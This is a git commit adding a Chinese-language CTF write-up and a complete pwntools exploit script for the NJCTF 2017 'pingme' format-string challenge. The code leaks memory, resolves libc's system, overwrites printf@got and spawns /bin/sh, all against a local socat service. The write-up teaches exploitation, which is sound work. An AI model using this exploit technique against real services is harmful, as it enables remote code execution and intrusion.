finish 6.2

This commit is contained in:
firmianay 2017-11-13 20:43:44 +08:00
parent 221ba178d7
commit 905356bea6
3 changed files with 307 additions and 1 deletions

View File

@ -15,7 +15,7 @@ $ checksec -f pingme
RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE RELRO STACK CANARY NX PIE RPATH RUNPATHFORTIFY Fortified Fortifiable FILE
No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No 0 2 pingme
``` ```
然后把程序运行起来: 关闭 ASLR然后把程序运行起来:
``` ```
$ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme $ socat tcp4-listen:10001,reuseaddr,fork exec:./pingme
``` ```
@ -47,12 +47,241 @@ offset = auto.offset
[*] Found format string offset: 7 [*] Found format string offset: 7
``` ```
#### dump file
接下来我们就利用该漏洞把二进制文件从内存中 dump 下来:
```python
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
p = remote('127.0.0.1', '10001')
p.recvline()
#print result.encode('hex')
payload = "%9$s.AAA" + p32(start_addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
p.close()
return result
start_addr = 0x8048000
end_addr = 0x8049000
code_bin = dump_memory(start_addr, end_addr)
with open("code.bin", "wb") as f:
f.write(code_bin)
f.close()
```
这里构造的 paylaod 和前面有点不同,它把地址放在了后面,是为了防止 printf 的 `%s``\x00` 截断:
```python
payload = "%9$s.AAA" + p32(start_addr)
```
另外 `.AAA`,是作为一个标志,我们需要的内存在 `.AAA` 的前面,最后,偏移由 7 变为 9。
在没有开启 PIE 的情况下32 位程序从地址 `0x8048000` 开始0x1000 的大小就足够了。在对内存 `\x00` 进行 leak 时,数据长度为零,直接给它赋值就可以了。
于是就成了有二进制文件无 libc 的格式化字符串漏洞,在 r2 中查询 printf 的 got 地址:
```
[0x08048490]> is~printf
vaddr=0x08048400 paddr=0x00000400 ord=002 fwd=NONE sz=16 bind=GLOBAL type=FUNC name=imp.printf
[0x08048490]> pd 3 @ 0x08048400
: ;-- imp.printf:
: 0x08048400 ff2574990408 jmp dword [reloc.printf_116] ; 0x8049974
: 0x08048406 6808000000 push 8 ; 8
`=< 0x0804840b e9d0ffffff jmp 0x80483e0
```
地址为 `0x8049974`
#### printf address & system address
接下来通过 printf@got 泄露出 printf 的地址,进行到这儿,就有两种方式要考虑了,即我们是否可以拿到 libc如果能就很简单了。如果不能就需要使用 DynELF 进行无 libc 的利用。
先说第一种:
```python
def get_printf_addr():
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(printf_got)
p.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
printf_addr = get_printf_addr()
```
```
[*] printf address: 70e6e0f7
```
所以 printf 的地址是 `0xf7e0e670`(小端序),使用 libc-database 查询得到 libc.so然后可以得到 printf 和 system 的相对位置。
```
$ ./find printf 670
ubuntu-xenial-i386-libc6 (id libc6_2.23-0ubuntu9_i386)
/usr/lib32/libc-2.26.so (id local-292a64d65098446389a47cdacdf5781255a95098)
$ ./dump local-292a64d65098446389a47cdacdf5781255a95098 printf system
offset_printf = 0x00051670
offset_system = 0x0003cc50
```
然后计算得到 printf 的地址:
```python
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)
```
第二种方法是使用 DynELF 模块来泄露函数地址:
```python
def leak(addr):
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4] + "\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
p.close()
return data
data = DynELF(leak, 0x08048490) # Entry point address
system_addr = data.lookup('system', 'libc')
printf_addr = data.lookup('printf', 'libc')
log.info("system address: 0x%x" % system_addr)
log.info("printf address: 0x%x" % printf_addr)
```
```
[*] system address: 0xf7df9c50
[*] printf address: 0xf7e0e670
```
DynELF 不要求我们拿到 libc.so所以如果我们查询不到 libc.so 的版本信息,该模块就能发挥它最大的作用。
#### attack
按照格式化字符串漏洞的套路,我们通过任意写将 printf@got 指向的内存覆盖为 system 的地址,然后发送字符串 `/bin/sh`,就可以在调用 `printf("/bin/sh")` 的时候实际上调用 `system("/bin/sh")`
终极 payload 如下,使用 `fmtstr_payload` 函数来自动构造,将:
```python
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.0.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()
```
虽说有这样的自动化函数很方便,基本的手工构造还是要懂的,看一下生成的 payload 长什么样子:
```
[DEBUG] Sent 0x3a bytes:
00000000 74 99 04 08 75 99 04 08 76 99 04 08 77 99 04 08 │t···│u···│v···│w···│
00000010 25 36 34 63 25 37 24 68 68 6e 25 37 36 63 25 38 │%64c│%7$h│hn%7│6c%8│
00000020 24 68 68 6e 25 36 37 63 25 39 24 68 68 6e 25 32 │$hhn│%67c│%9$h│hn%2│
00000030 34 63 25 31 30 24 68 68 6e 0a │4c%1│0$hh│n·│
0000003a
```
开头是 printf@got 地址,四个字节分别位于:
```
0x08049974
0x08049975
0x08049976
0x08049977
```
然后是格式字符串 `%64c%7$hhn%76c%8hhn%67c%9$hhn%24c%10$hhn`
```
16 + 64 = 80 = 0x50
80 + 76 = 156 = 0x9c
156 + 67 = 223 = 0xdf
233 + 24 = 247 = 0xf7
```
就这样将 system 的地址写入了内存。
Bingo!!!
```
$ python2 exp.py
[+] Opening connection to 127.0.0.2 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```
## Exploit ## Exploit
完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_njctf2017_pingme)相应文件夹中: 完整的 exp 如下,其他文件放在了[github](../src/writeup/6.2_pwn_njctf2017_pingme)相应文件夹中:
```python ```python
from pwn import *
# context.log_level = 'debug'
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
# p = remote('127.0.0.1', '10001')
# p.recvline()
# auto = FmtStr(exec_fmt)
# offset = auto.offset
# p.close()
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
p = remote('127.0.0.1', '10001')
p.recvline()
# print result.encode('hex')
payload = "%9$s.AAA" + p32(start_addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
p.close()
return result
# start_addr = 0x8048000
# end_addr = 0x8049000
# code_bin = dump_memory(start_addr, end_addr)
# with open("code.bin", "wb") as f:
# f.write(code_bin)
# f.close()
printf_got = 0x8049974
## method 1
def get_printf_addr():
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(printf_got)
p.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
# printf_addr = get_printf_addr()
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)
## method 2
def leak(addr):
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4] + "\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
p.close()
return data
# data = DynELF(leak, 0x08048490) # Entry point address
# system_addr = data.lookup('system', 'libc')
# printf_addr = data.lookup('printf', 'libc')
# log.info("system address: 0x%x" % system_addr)
# log.info("printf address: 0x%x" % printf_addr)
## get shell
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.1.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()
``` ```
## 参考资料 ## 参考资料
- [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/) - [Linux系统下格式化字符串利用研究](https://paper.seebug.org/246/)
- [33C3 CTF 2016 -- ESPR](http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr)

Binary file not shown.

View File

@ -0,0 +1,77 @@
from pwn import *
# context.log_level = 'debug'
def exec_fmt(payload):
p.sendline(payload)
info = p.recv()
return info
# p = remote('127.0.0.1', '10001')
# p.recvline()
# auto = FmtStr(exec_fmt)
# offset = auto.offset
# p.close()
def dump_memory(start_addr, end_addr):
result = ""
while start_addr < end_addr:
p = remote('127.0.0.1', '10001')
p.recvline()
# print result.encode('hex')
payload = "%9$s.AAA" + p32(start_addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4]
if data == "":
data = "\x00"
log.info("leaking: 0x%x --> %s" % (start_addr, data.encode('hex')))
result += data
start_addr += len(data)
p.close()
return result
# start_addr = 0x8048000
# end_addr = 0x8049000
# code_bin = dump_memory(start_addr, end_addr)
# with open("code.bin", "wb") as f:
# f.write(code_bin)
# f.close()
printf_got = 0x8049974
## method 1
def get_printf_addr():
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(printf_got)
p.sendline(payload)
data = p.recvuntil(".AAA")[:4]
log.info("printf address: %s" % data.encode('hex'))
return data
# printf_addr = get_printf_addr()
printf_addr = 0xf7e0e670
offset_printf = 0x00051670
offset_system = 0x0003cc50
system_addr = printf_addr - (offset_printf - offset_system)
## method 2
def leak(addr):
p = remote('127.0.0.1', '10001')
p.recvline()
payload = "%9$s.AAA" + p32(addr)
p.sendline(payload)
data = p.recvuntil(".AAA")[:-4] + "\x00"
log.info("leaking: 0x%x --> %s" % (addr, data.encode('hex')))
p.close()
return data
# data = DynELF(leak, 0x08048490) # Entry point address
# system_addr = data.lookup('system', 'libc')
# printf_addr = data.lookup('printf', 'libc')
# log.info("system address: 0x%x" % system_addr)
# log.info("printf address: 0x%x" % printf_addr)
## get shell
payload = fmtstr_payload(7, {printf_got: system_addr})
p = remote('127.0.1.1', '10001')
p.recvline()
p.sendline(payload)
p.recv()
p.sendline('/bin/sh')
p.interactive()